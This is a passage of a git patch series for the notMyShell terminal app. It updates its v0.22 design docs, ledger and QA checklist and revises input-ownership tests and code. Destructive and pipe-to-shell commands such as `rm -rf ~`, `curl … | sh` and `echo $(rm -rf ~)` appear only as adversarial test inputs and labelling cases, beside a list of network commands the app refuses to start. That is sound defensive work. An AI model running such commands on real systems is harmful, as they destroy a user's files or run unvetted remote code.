| `/view` → open the file at the line on screen in the person's editor through the existing `/open` bridge; refusal messages offer the same | Draft PR #434 | -### Optional, pending a maintainer decision +### Optional, decided by the maintainer (2026-10-18) -| Item | Issue | Decision needed | +| Item | Issue | Decision and state | | --- | --- | --- | -| D1 | #389 | A recalled history entry browses as one entry (Up/Down step entries until it is edited). Reproduced on `dev`; changes a behavior the maintainer triaged as acceptable and a test codifies. The position indicator is a separate, later step | -| D2 | #432 | Natural-language command suggestions from the composer ([design](v022-natural-language-commands.md)). Needs a product decision on remote model APIs, which the ROADMAP's design principles currently exclude from the core experience | -| D3 | #366 | Choose a terminal editor for "Open with" when `$VISUAL`/`$EDITOR` is unset (detected installed editors). Settings surface change; after U1 | +| D1 | #389 | A recalled history entry browses as one entry (Up/Down step entries until it is edited). Reproduced on `dev`; changes a behavior the maintainer triaged as acceptable and a test codifies. **Approved.** Draft PR #438; the `History n/N` indicator is a separate slice on an existing composer edge, draft PR #441 (based on #438) | +| D2 | #432 | Natural-language command suggestions from the composer ([design](v022-natural-language-commands.md)). **Approved as optional:** Off by default, local model first (draft PR #440); remote bring-your-own-key providers later, in a separate PR after a security review | +| D3 | #366 | Choose a terminal editor for "Open with" when `$VISUAL`/`$EDITOR` is unset (detected installed editors). **Approved.** Draft PR #439 | ### Explicitly deferred (status unchanged) @@ -108,7 +108,7 @@ registry, no new PTY ownership. Paths stay single argv elements. Viewing output **Physical QA.** Ghostty and Terminal.app with `$EDITOR=nvim` and with Zed/VS Code integrated terminals. -## D1 — #389 multiline history browsing (pending decision) +## D1 — #389 multiline history browsing (approved; #438, #441) Reproduction on `dev` (`a8b383c2`): recall a two-line entry with Up, press Up again: the caret moves to the entry's first line; a third Up recalls the older entry (`tests/composerHistory.test.ts` "a recalled multiline command navigates @@ -117,7 +117,7 @@ the composer shows an unchanged recalled entry, Up/Down step entries; any edit, or selection ends browsing. Draft multiline editing is unchanged. Implementation would sit in `TerminalApp`'s Up/Down routing and `ComposerHistory`; `CommandEditor` stays as is. The `History n/N` indicator is a separate step. -## D2 — natural-language command suggestions (pending decision) +## D2 — natural-language command suggestions (approved as optional; #440) See [the design](v022-natural-language-commands.md). Summary: one optional, off-by-default `CommandSuggester` behind Ask, with a local provider (the person's own OpenAI-compatible local runtime) and an optional bring-your-own-key remote @@ -125,6 +125,10 @@ provider; a request is explicit (`/btw` or a `?? ` prefix), the suggestion is sh composer, and only the person's Enter runs it. Nothing about files, environment or transcripts is sent unless the person attaches it. +As decided, the first slice (#440) is the local model only, reached through `/btw`/Ask (no `?? ` prefix and no +composer mode yet), with Copy and Insert and no refinement turns. NMSh's own risk label comes first and the model's +words are quoted and attributed. + ## Release gates Per slice: regressions that fail on the old code, focused suites, `verify:fast`, and the full `npm run verify` before diff --git a/docs/design/v022-natural-language-commands.md b/docs/design/v022-natural-language-commands.md index a0ec5be4..d829dba6 100644 --- a/docs/design/v022-natural-language-commands.md +++ b/docs/design/v022-natural-language-commands.md @@ -1,8 +1,9 @@ -# Natural-language command suggestions (proposal) +# Natural-language command suggestions -**Status: proposal, not approved, not implemented.** Part of the [v0.22 design](v022-daily-use.md) as decision D2; discussed in -[#432](https://github.com/raiseCatError/notMyShell/issues/432). -Nothing here ships without the maintainer's scope decision on the questions at the end. +**Status: approved as optional (decision D2, 2026-10-18); first slice in draft PR #440.** Part of the +[v0.22 design](v022-daily-use.md); discussed in [#432](https://github.com/raiseCatError/notMyShell/issues/432). The first +slice is the local model only. Remote providers are a separate, later PR after a security and credential-handling +review. The decisions are at the end. ## The need @@ -111,7 +112,7 @@ started implicitly. No agent loop, tool use, file reading, multi-step plans or automatic execution; no conversation memory beyond one refinement; no new assistant surface; no replacement of the deterministic resolver; no change to how commands run. -## Tests (if approved) +## Tests Fake providers only (no network in tests): schema validation; adversarial outputs (escape sequences, control characters, multi-line, oversize, `rm -rf ~`, `curl … | sh`, a command hidden after a newline); NMSh's label overriding @@ -119,18 +120,19 @@ any model wording; insert puts the exact text in the composer and runs nothing; unreachable endpoint and model refusal each produce a clear message and the deterministic result; nothing secret in transcripts, journals or settings; narrow width, `NO_COLOR` and Safe glyphs. -## Questions for the maintainer - -1. **Remote providers at all?** The ROADMAP's design principles keep the core experience free of cloud inference. An - off-by-default, bring-your-own-key provider outside the core would be a new boundary. Yes, no, or local only? -2. **Which provider first?** Recommendation: local (the existing model service) first, Anthropic second, generic - OpenAI-compatible third. -3. **Entry point.** `/btw` only (exists today), or also an Ask mode toggled from the composer? Which key, after the - keymap conflict review (#335)? -4. **Key storage.** Environment variable name only (recommended for a first slice), or also macOS Keychain / Secret - Service? -5. **Dependency.** The official Anthropic SDK (one dependency, loaded only when that provider is chosen) for the - Anthropic provider, if it is approved. - -A bounded first slice, once approved: the `suggestion` outcome, the local provider, insert/copy/refine, NMSh's -classification and the validation rules. The remote providers follow as a second slice after the credential review. +## Decisions (2026-10-18) + +1. **Remote providers:** allowed as an optional, Off-by-default bring-your-own-key choice, in a separate PR after a + security review. Consumer subscriptions (ChatGPT, Claude) are never used as API credentials; no browser cookies or + session tokens. +2. **Order:** the local model first (#440); Anthropic and OpenAI-compatible providers later. +3. **Entry point:** explicit requests through `/btw` and Ask only. A composer Ask mode can follow after the keybinding + and input-ownership review. +4. **Credentials:** an environment-variable name only, for the remote slice. +5. **Dependency:** decided with the remote slice. + +Behavior in every slice: display only; Insert is deliberate and only Enter runs; NMSh owns the risk label; nothing is +sent silently (files, transcripts, environment, secrets, output); lightweight on an 8 GB Mac. + +**The first slice (#440):** the `suggested` outcome, the local provider through the shared model service, Copy and +Insert, NMSh's label and the validation rules above. Not yet: refinement turns, a composer mode, remote providers. diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index 6ab09433..970e2072 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -20,59 +20,98 @@ acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here | # | Slice | Issues | Branch / PR | State | | --- | --- | --- | --- | --- | -| 0 | Design, ledger, NL proposal | #431, #432 | `docs/v022-design` (this ledger's PR) | Draft PR | -| R1 | Input ownership under load | #426 | `fix/v022-input-ownership-look` / #433 | Draft PR; local full verify and CI green | +| 0 | Design, ledger, NL proposal | #431, #432 | `docs/v022-design` / #435 (this ledger's PR) | Draft PR | +| R1 | Input ownership under load | #426 | `fix/v022-input-ownership-look` / #433 | Draft PR; redesigned after review (held keys never fall through on a timeout) | +| R3 | Type-ahead eaten after Ctrl+C or a slow prompt hook | #436 | `fix/v022-ctrlc-type-ahead` / #437 | Draft PR; two mechanisms reproduced and fixed, the race family not declared solved | | R2 | Fish keys after a handed-over read | #356 | — | Not reproduced (32/32 at 8×); left open, deferred | -| U1 | `/view` → open in editor | #366 | `feature/v022-view-open-editor` / #434 | Draft PR; local full verify green | -| D1 | Multiline history browsing | #389 | — | Reproduced; awaiting maintainer decision | -| D2 | Natural-language command suggestions | #432 | — | Proposal; awaiting maintainer decision | +| U1 | `/view` → open in editor | #366 | `feature/v022-view-open-editor` / #434 | Draft PR | +| D1 | History browsing, one step per entry | #389 | `feature/v022-history-browse` / #438 | Draft PR (approved as D1) | +| D1b | `History n/N` on a free composer rule | #389 | `feature/v022-history-position` / #441, based on #438 | Draft PR | +| D3 | Choose a terminal editor | #366 | `feature/v022-editor-choice` / #439 | Draft PR (approved as D3) | +| D2 | Ask command suggestions, local model only | #432 | `feature/v022-ask-command-suggestions` / #440 | Draft PR (approved as D2); remote BYOK is a later PR after a security review | ## Decisions -- **#426: hold until the owner is known, not the issue's split example.** Routing text at 800 ms and holding only the - Enter fixes queueing but still draws a hidden reply whenever the look is slow (prompt-less `read -s`, prompted - `sudo`/`ssh`). The unfixed baseline failed the live "hidden answer is never drawn" assertion that way under load. - Held keys now wait for the look (bounded at 5 s) with a composer note after 800 ms. Cost only on a loaded machine. +- **Maintainer decisions (2026-10-18):** D1 (#389) approved, with the position indicator as a separate slice that uses + an existing composer edge. D2 (#432) approved as optional: deterministic Ask stays the default, suggestions are Off + by default, the local model comes first, remote Anthropic/OpenAI-compatible keys (by environment-variable name only) + come later after a security review, consumer subscriptions are never API credentials, and suggestions are display + only (Insert is deliberate, Enter runs). D3 (#366) approved: discover installed terminal editors, keep explicit + preferences first, never install anything. +- **#426: held keys wait for the owner; a timeout is not a route.** The first version routed held text after 5 s and + on a failed probe, so a password typed for a slow `read -s` or `sudo` could reach the shell as a command. Now: + - After 5 s without an answer, NMSh looks once more. If it still cannot tell, the keys stay held and the composer + says so: Ctrl+S sends them to the program, Tab shows them, Esc discards them. + - Ctrl+C discards held keys, and the command ending routes them as typed. + - A probe that fails or is unavailable counts as "cannot tell", never as "the shell". + - Echo-off canonical input is a hidden request. + + 12 adversarial regressions fail on the first version (`6958c277`). - **#426: a runnable first sample is inconclusive.** One sample of a process on a CPU with nothing to compare no longer ends a look; when the shell holds its terminal the follow-up decides. Every other evidence path is unchanged. - **macOS has no kernel read report.** `ps -o wchan` prints `-` for every process on macOS 27 (checked: zsh/bash `read`, `cat`, `sleep`, a busy loop, Python `select`, Node stdin), so the two-sample rule stays on macOS. -- **#389 needs a decision, not a guess.** Reproduced on `dev`; the maintainer triaged it as working in practice and a - test codifies the current behavior, so the change waits for an explicit yes. -- **NL suggestions are a product-direction question** (remote model APIs vs. the ROADMAP principle). Proposal only. +- **#436: two mechanisms, both reproduced and explained.** + 1. A late input request from the interrupted command arrived after Ctrl+C and took the next typed command as its + answer. A request older than the stop is now ignored, but only while typing still counts as type-ahead (2 s); + after that it is re-applied if it is still the latest state. + 2. A slow prompt hook (zsh `precmd`, Bash `PROMPT_COMMAND`, Fish `fish_prompt`) looked like the finished command + reading input. Each shell now emits an authenticated `done` marker before its other hooks, and it ends the + look. + + The first hypothesis (the shell's read swallowed the line) was wrong; temporary instrumentation found both, and was + removed. The wider family of input-timing races is not declared solved. +- **D2: NMSh's label is its own and conservative.** A review found `echo $(rm -rf ~)` labelled "reads only". + - "Reads only" now needs every part to be plainly read-only: no substitution, no wrapper (`env`, `xargs`…), no + `find` action, and nothing the `/track` gate questions. + - The note leads with NMSh's verdict and quotes the model, attributed. An explanation that mentions NMSh is + rejected. +- **Every new setting is reachable from Setup.** The Setup coverage audit caught D2's and D3's new rows missing from + Setup; both were added (D3 as a route to the editor chooser). - **Paused/deferred issues stay as they are** (#330–#332, #337–#340, #333–#335, #341, #398, #399, #304, #296, #15). ## Verification notes -- R1 regressions: 7 tests fail on `a8b383c2` and pass on the fix (`tests/inputOwnershipLook.test.ts`, the #426 watch - test in `tests/inputAwareness.test.ts`). On the unfixed code a password typed at once for a prompt-less `read -s` - is queued as a shell command when the look outlasts 800 ms. -- R1 live, 4 copies of `tests/inputOwnershipLive.test.ts` in parallel (load and swap from other work on the machine): - the unfixed baseline reproduced #426 itself (load 33–121: `timed out waiting for ANSWER=hello`, status - `Probably waiting for input · zsh · ≡ 1 queued`) and, in another round, a drawn hidden reply (`hidden line after 0 - ms: the hidden answer is never drawn`). The final fix: 15 of 16 copies clean across four rounds (load 3–20). The one - failure, `a command typed right after a read returns, or right after Ctrl+C` (`timed out waiting for the command - after Ctrl+C to run`), then passed 18/18 targeted runs (12 of them 4× parallel) on the fix and 18/18 on the baseline; - it does not exercise held keys (typing after Ctrl+C is type-ahead). Filed as #436 (needs reproduction; possible - race: Enter right after Ctrl+C writes the line to the PTY before the shell has acted on SIGINT). -- R1 full `npm run verify` on `6958c277` (load 9–14): 3,152 tests, 3,150 pass, 2 skipped, 0 failed. CI on #433 - (macOS and Ubuntu shards, Node 22, Quality, Verify 22.x/26.x): green. -- U1: 5 new tests fail before the change and pass after; full `npm run verify` on `5d81d93e` (load 4–13): 3,148 - tests, 3,146 pass, 2 skipped, 0 failed. -- R2 (#356) on the #433 branch, Fish 4.9.3: `typingAfterRead` "live fish" 8 copies in parallel, four rounds: 32/32 - (192 answer-then-next-command sequences). A 16-copy run failed in all copies at startup (`completed journal for - echo READY`) before any read: journaling stalled on the T7; environmental, not counted. -- CPU contention alone does not reproduce #426: at load 64 a probe (`stty` + `ps`) took 10 ms p50, 39 ms max. The - audit's slow looks came with memory pressure (5–7 GB of swap); this session did not induce swap deliberately. -- Environment, not product: a Finder window on the T7 makes `LiveSandbox.dispose`'s `lsof +D` see Finder (pid 44738) - as a sandbox process and time out; a round at load ~20 stalled every frontend's startup on both builds. +Full canonical `npm run verify` (local, macOS 27, T7 scratch), with the load average at the time: + +| PR | Head | Result | +| --- | --- | --- | +| #433 | `e566a1e6` | 3,161 tests, 3,159 pass, 2 skipped, 0 failed | +| #437 | `9aae2f03` | 3,149 tests, 3,147 pass, 2 skipped, 0 failed | +| #437 | `83135298` | 6 live tests timed out at load 20–23; all 6 files 46/46 on rerun. A clean full run is pending | +| #434 | `5d81d93e` | 3,148 tests, 3,146 pass, 2 skipped, 0 failed (load 4–13) | +| #438 | `29d73a69` | 3,143 pass, 1 live timeout (load 9–20); 16/16 rerun at load 5 | +| #439 | `4ab9f44a` | 3 Setup coverage failures (fixed in `898fbc33`), 2 live timeouts (16/16 rerun); a fresh full run is pending | +| #440 | `c1a30017` | pending | +| #441 | `48f70e96` | pending; the new tests and nearby suites pass | + +- **CI:** + - #434, #437, #438, #439 and #440: green. + - #433's latest run (`e566a1e6`) failed one Ubuntu Fish live test: a queued `printf` got `write: Interrupted + system call`. The diff changes no signal or resize path, and the test types nothing that would be held. The + failed jobs were rerun; the result is recorded on #433. +- **R1 live:** 4 copies of `tests/inputOwnershipLive.test.ts` in parallel. The unfixed baseline reproduced #426 + under memory pressure, both as a queued answer and as a drawn hidden reply. +- **CPU contention alone does not reproduce #426:** at load 64 a probe (`stty` + `ps`) took 10 ms p50 and 39 ms + max. The slow looks came with 5–7 GB of swap. +- **#436:** reproduced 6/8 and 4/8 on `dev` with live runs, and deterministically with a slow prompt hook at load 3. + `tests/ctrlCTypeAhead.test.ts` and `tests/promptHookLive.test.ts` (live zsh and Bash) fail before the fix. +- **R2 (#356):** Fish 4.9.3, 8 copies in parallel, four rounds: 32/32. A 16-copy run failed at startup in every + copy (environmental). +- **Environment, not product:** + - A Finder window on the T7 makes `LiveSandbox.dispose`'s `lsof +D` time out. + - Spotlight indexing (`mds_stores`) and load above about 20 stall live-test startup on every build. + - Live tests started while another full run is going time out waiting for the first prompt. ## Physical QA still required -Checklist: [v0.22 physical QA](../testing/v022-physical-qa.md). Pass 1 for R1 (#433), pass 2 for U1 (#434). Nothing in -v0.22 has had a physical pass. +Checklist: [v0.22 physical QA](../testing/v022-physical-qa.md), one pass per PR. Nothing in v0.22 has had a physical +pass. ## Open risks -- v0.21 unreleased: v0.22 cannot integrate into `dev` yet (see the rule above). +- v0.21 unreleased: v0.22 cannot integrate into `dev` yet (see the rule above). All v0.22 PRs stay draft. +- #441 is based on #438 and must merge after it. +- #439 and #434 both use the host-actions bridge; whichever merges second picks up the other. +- #436 fixes two explained mechanisms; other timing races in input ownership may remain. - The changelog entries sit in `dev`'s `[Unreleased]` beside v0.21's and move at reconciliation. diff --git a/docs/testing/v022-physical-qa.md b/docs/testing/v022-physical-qa.md index 38f955cd..f5815f32 100644 --- a/docs/testing/v022-physical-qa.md +++ b/docs/testing/v022-physical-qa.md @@ -2,7 +2,7 @@ ## Status -- **Candidate slices, not integrated.** Each pass belongs to a draft PR held until #430 merges; see the +- **Candidate slices, not integrated.** Each pass belongs to a draft PR held until v0.21 ships; see the [ledger](../development/v022-ledger.md). Nothing below has been run yet. - **What does not count:** headless PTY fixtures, synthetic keys, captures of a window driven that way, and green CI. Each item needs a person at a real terminal with a real keyboard. @@ -22,6 +22,14 @@ | 2 `/view` → your editor (#366, #434) | Ghostty | macOS | zsh | | Not run | | | 2 `/view` → your editor (#366, #434) | Terminal.app | macOS | Fish | | Not run | | | 2 `/view` → your editor (#366, #434) | Zed or VS Code terminal | macOS | zsh | | Not run | | +| 3 Type-ahead after Ctrl+C and slow hooks (#436, #437) | Ghostty | macOS | zsh | | Not run | | +| 3 Type-ahead after Ctrl+C and slow hooks (#436, #437) | Terminal.app | macOS | Bash | | Not run | | +| 3 Type-ahead after Ctrl+C and slow hooks (#436, #437) | Ghostty | macOS | Fish | | Not run | | +| 4 History browsing and History n/N (#389, #438, #441) | Ghostty | macOS | zsh | | Not run | | +| 4 History browsing and History n/N (#389, #438, #441) | Terminal.app | macOS | Fish | | Not run | | +| 5 Terminal editor choice (#366, #439) | Ghostty | macOS | zsh | | Not run | | +| 5 Terminal editor choice (#366, #439) | Zed or VS Code terminal | macOS | zsh | | Not run | | +| 6 Ask command suggestions (#432, #440) | Ghostty | macOS | zsh | | Not run | | ## Walkthrough @@ -46,7 +54,13 @@ prefer not to authenticate): the password is never shown in the composer. 1.5 Load: in a second window run something heavy (a large build or test suite, or several at once), then repeat 1.1 and 1.3 a few times. The composer may briefly say `Checking whether … is waiting for input · your typing is kept`; either way the answer reaches the read and nothing is shown or queued. Note whether the note appeared and roughly how long. -1.6 Ctrl+C right after typing during 1.5's note: typing is routed (as before the change) and the command is interrupted. +1.6 Ctrl+C right after typing during 1.5's note: the command is interrupted and **the held typing is discarded** (it is +neither sent to the shell nor shown); the composer is empty. +1.7 If NMSh still cannot tell after about five seconds (heavy load, swap), the activity row says `Can't tell whether … +is reading your typing · held, not shown` and the composer offers `Ctrl+S sends it to … · Tab shows it · Esc discards +it`. Try each: Ctrl+S sends the held text to the program (the read gets it); Tab puts it in the composer, visible and +unsent; Esc discards it. Nothing held is ever run as a shell command without one of these. If the state never appears, +note that; it is expected on a lightly loaded machine. ### Pass 2: `/view` → your editor (#366) @@ -65,4 +79,57 @@ quotes), `o`: the composer command quotes the path as one argument. 2.6 Markdown: `/view README.md` (rendered), `o` opens at the start; after `m` (source) it opens at the line shown. 2.7 Narrow window (about 46 columns): the footer wraps and `Esc close` stays visible. +### Pass 3: type-ahead after Ctrl+C and a slow prompt hook (#436) + +3.1 `sleep 30`, press Ctrl+C, then **at once** type `echo after` and Enter: `after` is printed exactly once, as its own +command. Nothing is queued forever and nothing is taken as an answer. +3.2 A program that asks just before it is interrupted: `read -r x` (Fish: `read x`), Ctrl+C, then at once `echo after` +Enter: same result. +3.3 A slow prompt hook. zsh: `slow() { sleep 1 }; precmd_functions+=(slow)`. Bash: `PROMPT_COMMAND='sleep 1'`. Fish: +`function slow --on-event fish_prompt; sleep 1; end`. Then run `true` and, while the next prompt is still coming, type +`echo after` and Enter: it runs once, after the hook, and is never shown as an answer to a waiting program. Repeat a few +times, also under load (as in 1.5). + +### Pass 4: history browsing and `History n/N` (#389) + +Run a multi-line command (Ctrl+J between lines, for example `echo one` Ctrl+J `echo two`) and a few one-line ones. + +4.1 From an empty composer, Up recalls the newest; each further Up moves one command, passing the multi-line one in one +press; Down comes back the same way; Down past the newest restores what you had typed. +4.2 Recall the multi-line command, press Left (or type a character), then Up: the caret moves within it. +4.3 Narrow window (about 46 columns) with a long one-line command: one press per entry. +4.4 (#441) While stepping, the bottom composer rule shows `History 1/N` for the newest, counting up as you go back. It +disappears when you type, move the caret or go past the newest. No row is added and nothing moves. +4.5 (#441) With `/keep-awake display` running, Keep Awake keeps its place; the label is on the other rule or not shown. +In a window of about 30 columns, and with Settings → Composer dividers Off, no label appears and nothing wraps. +4.6 (#441) Light and dark themes: the label is readable. + +### Pass 5: terminal editor choice (#366) + +Launch with `VISUAL` and `EDITOR` unset: `env -u VISUAL -u EDITOR /Volumes/T7Tmp/ai-dev/q22/nmsh`. + +5.1 `/open README.md:3` explains that no editor is set and names the terminal editors installed here. +5.2 Settings → Sessions → Terminal editor (also Setup → Sessions & alerts → Terminal editor): installed editors are +marked; the highlighted one previews the exact command. Choosing one that is not installed is refused, and nothing is +installed. Choose one that is installed. +5.3 `/open README.md:3:2` puts its command in the composer at the right line (and column where the editor supports +it); nothing runs until Enter. Quitting the editor returns to NMSh. +5.4 In `/view README.md`, `o` uses the chosen editor (once #434 and #439 are both in the build under test). +5.5 Inside Zed's or VS Code's integrated terminal, the surrounding editor still wins. + +### Pass 6: Ask command suggestions (#432) + +Needs a local model set up in `/llm`. + +6.1 With Settings → Ask → Command suggestions Off (the default), `/btw convert every png here to webp` behaves as +before: no model is asked. +6.2 Set Command suggestions to Local model (Settings, or Setup → Ask & local understanding). The same request shows +one suggested command with `NMSh's check: …` first, then the model's words in quotes with its name. There is Copy and +Insert, never Run. +6.3 Insert puts the command in the composer, unsent; Enter runs it. Copy runs nothing. +6.4 `/btw delete all my files` stays a refusal; no suggestion is offered. +6.5 With local understanding Off in `/llm`, the suggestion attempt says how to turn it on. Ask's own suggestions are +still offered. +6.6 Activity Monitor: no new long-lived process appears beyond the shared model service while suggestions are on. + **Reporting.** One line per pass, for example `Pass 1 · Ghostty 1.3.1 · zsh 5.9: PASS (note seen once, ~1 s)`. From b0d0146b429bac52c2bda3d148ce52341f83c2eb Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 05:24:12 +0530 Subject: [PATCH 068/157] Tests: type cat only after the queued command's prompt returns The wait matched the queued command's text in the queue list before its output or prompt, so cat could be typed while that command was still finishing. NMSh then queues cat by design and never draws Running cat (the CI failure on #441). The output now differs from the command text, and the test waits for the queued command's completion row, which is drawn only once the shell's prompt has returned. --- tests/commandQueueLive.test.ts | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/tests/commandQueueLive.test.ts b/tests/commandQueueLive.test.ts index b35c7e39..898ef0a3 100644 --- a/tests/commandQueueLive.test.ts +++ b/tests/commandQueueLive.test.ts @@ -202,13 +202,17 @@ test('live: a program waiting for a line gets Enter; Ctrl+Q queues; Ctrl+S sends frontend.pty.write(`read 'x?Name: '; echo got=$x\r`); await frontend.waitFor(/[◆◇] (?:Probably w|W)aiting for input[\s\S]*Name:/u, mark); await frontend.waitFor(/Type your answer · Enter sends it to zsh · Ctrl\+Q queues a command/u, mark); - frontend.pty.write('echo QUEUED-AFTER-READ\u0011'); + // The output (QUEUED-AFTER-READ) never appears in the command's own text, which the queue list shows while it waits. + frontend.pty.write('printf "QUEUED-%s\\n" AFTER-READ\u0011'); await frontend.waitFor(/≡ 1 queued|≡ Queued \(1\)/u, mark); frontend.pty.write('alice\r'); - await frontend.waitFor(/got=alice[\s\S]*QUEUED-AFTER-READ/u, mark, 20_000); - assert.doesNotMatch(drawn(frontend, mark), /got=echo/u, 'the queued command never reached read'); + // Its output, then its completion row, which NMSh draws only once the shell's prompt has returned: cat is typed at an + // idle prompt, not queued behind a command that is still finishing (#441's CI run hit that window). + await frontend.waitFor(/got=alice[\s\S]*QUEUED-AFTER-READ[\s\S]*Completed · [^·\n]+ · from queue/u, mark, 20_000); + assert.doesNotMatch(drawn(frontend, mark), /got=printf/u, 'the queued command never reached read'); - // cat reads stdin with no prompt: NMSh cannot tell it waits, so Enter queues; Ctrl+S sends the line to cat. + // cat reads stdin with no prompt. macOS cannot tell it waits; Linux's kernel report can, after the first look. Either + // way typing stays in the composer and Ctrl+S sends the line to cat. mark = frontend.mark; frontend.pty.write('cat\r'); await frontend.waitFor(/Running cat/u, mark); From e27766807b85333505e38da8d3914d8ff077ed91 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 05:42:59 +0530 Subject: [PATCH 069/157] Input ownership with done: a hold settles as ended; hidden evidence is kept The shell's done marker reaches the session before the prompt reaches the frontend. A look answering idle then settled held typing as if the command still ran: an Enter queued it, so a password for a read that gave up, or typing held past the slow mark, ran as the next command. An idle answer now means the command ended for that hold, and a hold a look saw as hidden is never run. A sample the command finished during is no longer applied, but its hidden evidence is still reported. zsh and Bash show echo on during prompt hooks and Fish its own key mode, so ordinary type-ahead typed during slow hooks is unaffected. --- CHANGELOG.md | 2 +- src/app/TerminalApp.ts | 14 +- src/session/InputWatch.ts | 19 ++- tests/inputOwnershipDone.test.ts | 246 +++++++++++++++++++++++++++++++ 4 files changed, 270 insertions(+), 11 deletions(-) create mode 100644 tests/inputOwnershipDone.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index e9d675a3..64de441c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,7 +27,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Paste review and `/track`: a redirect into a file is recognized wherever `>/dev/null` also appears (`echo x > ~/.zshrc 2>/dev/null` was labelled read-only), and `>|` is a redirection, not a pipe. - `/track` and `/watch` no longer start, without asking, commands that change things through the network or another command: `env <command>`, `NAME=value` prefixes, git's `-c`/`--ext-diff`, `npm publish`/`login`/`x`, `pnpm dlx`, `ssh`, `curl -X POST`/`-d`/`-o file`, plain `wget`; options that write files (`git … --output`, `sort -o`, `jest -u`, `--fix`) are refused. Read-only probes (`ping`, `dig`, `nc -z`, a curl GET) still start at once, and `npm test 2>&1` is no longer refused as a background job ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). - `/track stop` and a closing window end every process a tracked command left in its process group, including one that ignored TERM; a tracker whose directory disappeared names it instead of reporting `spawn /bin/sh ENOENT`. -- Typing while a command runs can no longer be shown, queued or run as a command before NMSh knows whether that command reads it ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). On a heavily loaded machine a reply typed right after starting a prompt-less read (`read -r reply`, `read -s`) used to be queued, and a password could be queued as a shell command or shown in the composer. Keys now wait for NMSh's check (`Checking whether … · your typing is kept` after 0.8 s). When the check cannot tell, the typing stays held and hidden — `Can't tell whether <program> is reading your typing` — until you choose: Ctrl+S sends it to the program, Tab shows it in the composer, Esc discards it. Input with echo turned off is never drawn, whatever else NMSh knows. Ctrl+C discards held typing, as a terminal flushes its input, and a command that ends while typing was held for its check never runs it (a note says so). Type-ahead on an idle machine is unchanged. +- Typing while a command runs can no longer be shown, queued or run as a command before NMSh knows whether that command reads it ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). On a heavily loaded machine a reply typed right after starting a prompt-less read (`read -r reply`, `read -s`) used to be queued, and a password could be queued as a shell command or shown in the composer. Keys now wait for NMSh's check (`Checking whether … · your typing is kept` after 0.8 s). When the check cannot tell, the typing stays held and hidden — `Can't tell whether <program> is reading your typing` — until you choose: Ctrl+S sends it to the program, Tab shows it in the composer, Esc discards it. Input with echo turned off is never drawn, whatever else NMSh knows. Ctrl+C discards held typing, as a terminal flushes its input. When a command ends while typing is held for its check, including before its prompt returns while the shell's prompt hooks run, typing that may have been a reply or a password is discarded with a note, never run; plain type-ahead that the check cleared at once stays for the next command. Type-ahead on an idle machine is unchanged. - A command typed while the shell was showing its prompt again (after Ctrl+C, or after any command when a prompt hook is slow, as a heavy theme or `nvm` can be) no longer loses its beginning ([#436](https://github.com/raiseCatError/notMyShell/issues/436)). NMSh no longer reads the shell's own prompt hooks as the finished command waiting for input (`Probably waiting for input` while the prompt came back), and a late report of the question Ctrl+C ended no longer turns what you typed after it into a discarded reply; the rest of the line used to run on its own (`cho Y …`, command not found). ## [0.20.0] - 2026-10-18 diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 799d5c25..a3b8eb14 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -441,6 +441,10 @@ interface OwnershipHold { slow: boolean; /** No usable evidence: the typing stays held and hidden until evidence arrives or the person chooses. */ uncertain: boolean; + /** The session said nothing runs any more (the shell's done marker): the command ended, though its prompt is still coming (#436). */ + ended: boolean; + /** A look saw hidden input: the typing may be a password, so a command that ends never runs it. */ + sawHidden: boolean; settle: (how: HoldSettle) => void; } /** How long after confirming a queue review an empty Enter is not sent to the command that just started. */ @@ -11948,8 +11952,8 @@ export class TerminalApp { clearTimeout(bound); clearTimeout(slow); if (this.ownershipLook === hold) this.ownershipLook = undefined; - const ended = this.running?.startId !== running.startId; - const doubted = hold.slow || hold.uncertain; + const ended = hold.ended || this.running?.startId !== running.startId; + const doubted = hold.slow || hold.uncertain || hold.sawHidden; if (how === 'discard') { if (doubted) discarded('Your held typing was discarded, not sent or run.'); this.render(); @@ -12006,7 +12010,7 @@ export class TerminalApp { bound.unref?.(); const slow = setTimeout(() => { hold.slow = true; this.render(); }, OWNERSHIP_LOOK_SLOW_MS); slow.unref?.(); - const hold: OwnershipHold = {keys, startId: running.startId, answering: this.answersByDefault(), slow: false, uncertain: false, settle}; + const hold: OwnershipHold = {keys, startId: running.startId, answering: this.answersByDefault(), slow: false, uncertain: false, ended: false, sawHidden: false, settle}; this.ownershipLook = hold; // A look that saw nothing usable (a probe failed or timed out) gets one more look before the typing is left held: // gathering evidence once more, not waiting longer. An older service does not say what it saw: its answer is @@ -12016,6 +12020,10 @@ export class TerminalApp { const look = () => void this.lookWhenStarted(running.startId, deadline).then(answered, () => answered('unknown')); const answered = (result: LookResult | undefined) => { if (settled) return; + if (result === 'hidden') hold.sawHidden = true; + // Nothing runs: the command ended (its done marker can come well before its prompt), so the rules for typing + // held by a command that ended apply now, not those for one still running. + if (result === 'idle') hold.ended = true; const blind = result === 'unknown' || (result === 'hidden' && !this.inputState?.request) || (result === undefined && this.session.features.has('input-look-result')); if (!blind) settle('route'); diff --git a/src/session/InputWatch.ts b/src/session/InputWatch.ts index 778aebbf..9d6e2eab 100644 --- a/src/session/InputWatch.ts +++ b/src/session/InputWatch.ts @@ -209,17 +209,20 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { let seen: TerminalModes | undefined; for (let sample = 0; sample < 2; sample += 1) { while (this.probing) await this.probing; - if (this.disposed || !this.running || this.done) return 'idle'; + if (this.disposed || !this.running || this.done) break; if (!this.options.probe) return 'unavailable'; this.followUp = false; seen = (await this.look(true))?.modes ?? seen; - if (!this.followUp || this.request) break; + if (!this.followUp || this.request || 